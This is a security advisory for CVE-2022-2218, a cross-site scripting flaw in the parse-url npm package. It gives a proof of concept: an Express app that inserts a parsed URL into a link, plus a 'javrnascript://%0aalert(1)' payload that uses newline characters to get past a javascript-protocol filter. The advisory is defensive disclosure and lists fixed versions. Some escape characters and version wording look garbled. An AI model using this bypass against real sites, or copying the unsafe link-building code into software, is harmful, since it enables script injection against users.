Disclosed vulnerabilities
CVE-2022-2218 Published: Jul 21, 2022

Cross Site Scripting in ionicabizau/parse-url

6.1 Medium Severity Cross Site Scripting ionicabizau/parse-url XSS
Pocas Reported by Checkmarx Zero

Summary

The parse-url version 6.0.0 of the parser does not remove “r” and “n” characters between protocols. This causes spoofing of the javascript protocol itself.

Product

ionicabizau/parse-url prior to version 6.0.1 and version 6.0.2.

Steps to reproduce

    const parseUrl = require("parse-url"); 
    const express = require('express');
    const app = express();

    parsed = parseUrl("javrnascript://%0aalert(1)");
    console.log(parsed);

    app.get('/', (req, res) => {
        if (parsed.protocol !== "javascript") {
            res.send("<a href='" + parsed.href + "'>CLICK ME!</a>")
        }
    })

    app.listen(9999);

In general, the above express code forbids the javascript protocol. However, you can spoof this using the CRLF character.

    output console.log(parsed);
    {
      protocols: [ 'javrnascript' ],
      protocol: 'javrnascript',
      port: null,
      resource: '%0aalert(1)',
      user: '',
      pathname: '',
      hash: '',
      search: '',
      href: 'javrnascript://%0aalert(1)',
      query: [Object: null prototype] {}
    }
output : document in browser
<a href="jav
ascript://%0aalert(1)">CLICK ME!</a>

Expected result:

Through this vulnerability, an attacker is capable to execute malicious scripts.

Remediation

Update ionicabizau/parse-url to version 6.0.1 or above 6.0.3.

Resources

  1. Disclosure
  2. Commit
  3. Pull request

Stay connected and never miss a research update!